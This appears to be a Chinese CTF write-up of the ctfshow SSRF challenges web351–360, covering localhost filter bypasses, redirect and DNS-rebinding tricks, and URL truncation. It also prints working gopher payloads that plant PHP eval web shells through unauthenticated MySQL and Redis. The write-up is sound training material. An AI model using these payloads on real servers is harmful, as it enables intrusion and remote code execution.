ctfshow-web入门笔记-SSRF

SSRF

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种安全漏洞,攻击者通过该漏洞可以发起针对服务器内部的请求。攻击者可以利用 SSRF 攻击从服务器发起的请求来访问服务器上的敏感信息、执行任意代码或攻击内部系统。SSRF 漏洞通常出现在服务器端代码中,例如 Web 应用程序或 API 中的网络请求功能,如果不正确验证用户输入的 URL,就可能导致 SSRF 漏洞的产生。要防止 SSRF 漏洞,开发人员应该正确验证和限制用户输入的 URL,确保只能访问预期的资源。

SSRF的总结这里摘了一点笔记:

相关函数和类

  • file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中
  • readfile():输出一个文件的内容
  • fsockopen():打开一个网络连接或者一个Unix 套接字连接
  • curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用
  • fopen():打开一个文件文件或者 URL
  • PHP原生类SoapClient在触发反序列化时可导致SSRF

相关协议

  • file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
  • dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
  • gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
  • http/s协议:探测内网主机存活

利用方式

1.让服务端去访问相应的网址
2.让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
3.可以使用file、dict、gopher、ftp协议进行请求访问相应的文件
4.攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})
5.攻击内网应用程序(利用跨协议通信技术)
6.判断内网主机是否存活:方法是访问看是否有端口开放
7.DoS攻击(请求大文件,始终保持连接keep-alive always)

web351

1
2
3
4
5
6
7
8
9
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);

访问flag.php,显示非本地用户无法访问,SSRF伪造请求即可。

payload:

1
2
POST url=http://127.0.0.1/flag.php
POST file:///var/www/html/flag.php

web352

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}

代码里有过滤但是没有用。但是只让用http或者https协议了。

1
2
3
POST url=http://localhost/flag.php
POST url=http://127.0.0.1/flag.php
POST url=http://www.sudo.cc/flag.php # 可以用www.sudo.cc的域名表示本机。

web353 - 绕过简单的本地域名限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}else{
die('hacker');
}
}else{
die('hacker');
}

加强了防御措施。但是

1
POST url=http://www.sudo.cc/flag.php # 可以用www.sudo.cc的域名表示本机。

还是可以绕过。从wp这里学了几手其他的方法

绕过本地域名限制的方案

超完整

  1. ip地址进制转换

    1
    2
    3
    4
    5
    127.0.0.1
    十进制整数:url=http://2130706433/flag.php
    十六进制:url=http://0x7F.0.0.1/flag.php
    八进制:url=http://0177.0.0.1/flag.php
    十六进制整数:url=http://0x7F000001/flag.php
  2. 缺省模式(IPv4/v6的缺省表示)

    1
    2
    127.0.0.1写成127.1
    http://0/flag.php (0.0.0.0)

    在windows中,0代表0.0.0.0,而在linux下,0代表127.0.0.1

  3. CIDR

    1
    url=http://127.127.127.127/flag.php
  4. 使用短链接跳转

    1
    url=http://www.sudo.cc/flag.php

    网络上存在一个名为sudo.cc的服务,放访问这个服务时,会自动重定向到127.0.0.1。(302跳转)
    当然,也可以用短链接托管服务生成一个重定向到127.0.0.1的域名。

web354 - header重定向/DNS重绑定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}

上面的很多绕过手段都还能用。但这道题准备跟着wp用DNS重绑定来做。

然而域名到期了,ceye也上不去,索性直接用服务器弄header重定向了。

1
2
3
# redirect.php
<?php
header("Location:http://127.0.0.1/flag.php");

然后php -S 0.0.0.0 vps_port

最后url=http://vps_ip:vps_port/redirect.php

然而我的vps地址里有1和0,令人感叹。只能用www.sudo.cc绕过了。

DNS重绑定

原理

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑> 定攻击。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即> 可。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:

服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP

对于获得的IP进行判断,发现为非黑名单IP,则通过验证

服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。

web355 - 限制域名长度 - 5位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}

127.0.0.1写成127.1。

web356 - 限制域名长度 - 3位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
  1. 缺省模式(IPv4/v6的缺省表示)
    1
    2
    127.0.0.1写成127.1
    http://0/flag.php (0.0.0.0)

    在windows中,0代表0.0.0.0,而在linux下,0代表127.0.0.1

web357 - header重定向/DNS重绑定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}

echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}

gethostbyname函数返回ipv4地址

1
2
gethostbyname(string $hostname): string
> Returns the IPv4 address of the Internet host specified by hostname.

filter_var使用特定的过滤器过滤一个变量

1
2
filter_var(mixed $value, int $filter = FILTER_DEFAULT, array|int $options = 0): mixed
> Filters a variable with a specified filter

FILTER_VALIDATE_IP 是一个过滤器常量,用于验证 IP 地址的有效性。
FILTER_FLAG_NO_PRIV_RANGE 是一个过滤器标志,用于指示在验证 IP 地址时排除私有地址范围(例如,10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)。
FILTER_FLAG_NO_RES_RANGE 是一个过滤器标志,用于指示在验证 IP 地址时排除保留地址范围(例如,0.0.0.0/8、127.0.0.0/8、224.0.0.0/4)。
因此,这段代码的作用是检查 $ip 变量是否是一个合法的公共 IP 地址,如果不是,则输出 ‘ip!’ 并终止脚本的执行。

那直接vps用之前web354的方法就行。或者用DNS重绑定

1
2
3
# redirect.php
<?php
header("Location:http://127.0.0.1/flag.php");

然后php -S 0.0.0.0 vps_port

最后url=http://vps_ip:vps_port/redirect.php

web358 - URL的截断:@、#以及?

1
2
3
4
5
6
7
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
1
2
POST url=http://ctf.@127.0.0.1/flag.php#show
POST url=http://ctf.@127.0.0.1/flag.php?show

@、#和?在URL中的用法

参考

@:在 URL 中,@ 符号通常用于指定用户名和密码,格式为 username:password@hostname。例如,http://username:password@example.com 中的 username:password 部分表示用户名和密码,用于进行基本身份验证(Basic Authentication)。

#:在 URL 中,# 符号用于指示片段标识符(fragment identifier),也称为锚点(anchor)。片段标识符位于 URL 的末尾,用于标识页面中的特定部分。当用户访问包含片段标识符的 URL 时,浏览器会自动滚动到指定的锚点位置。

?:在 URL 中,? 符号用于分隔 URL 的路径部分和查询字符串部分。查询字符串通常用于向服务器传递参数,参数之间使用 & 符号分隔,格式为 key1=value1&key2=value2&…。例如,http://example.com/search?q=query 中的 ?q=query 部分表示查询字符串,其中 q 是参数名,query 是参数值。

平常我们传入的url是url=http://127.0.0.1,如果我们传入的url是url=http://aaaa@127.0.0.1,它此时依旧会访问127.0.0.1
#?同理。所以这道题可以前向用@截断,后向用#?截断。

web359 - 打无密码SQL

一个登录界面。抓个包发现存在参数 returl

1
u=123&returl=https%3A%2F%2F404.chall.ctf.show%2F

结合提示,应该是用gopher打无密码Mysql

1
2
3
4
5
6
Give MySQL username: root
Give query to execute: select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';

Your gopher link is ready to do SSRF :

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01

然后,注意需要再进行一次URL编码

将 _ 下划线后面的内容再进行一次 url 编码(防止出现特殊字符,后端 curl 接收到参数后会默认解码一次)

最后POST命令过去就可以了。

1
2
/2.php
POST cmd=phpinfo();

web360 - 打Redis

1
2
3
4
5
6
7
8
9
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);

Redis 未授权访问

摘抄这篇文章

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器

简单说,漏洞的产生条件有以下两点:

  • redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
  • 没有设置密码认证(一般为空),可以免密码远程登录redis服务

使用url=dict://0.0.0.0:6379测试目标服务器,返回了如下内容,证明其存在redis服务:

1
?> -ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP +OK
1
2
3
4
5
6
7
8
9
10
What do you want?? (ReverseShell/PHPShell): PHPShell

Give web root location of server (default is /var/www/html):
Give PHP Payload (We have default PHP Shell): <?php eval($_GET['cmd']);?>

Your gopher link is Ready to get PHP Shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter.

别忘了两次URL编码,然后直接传上去就能访问/shell.php了。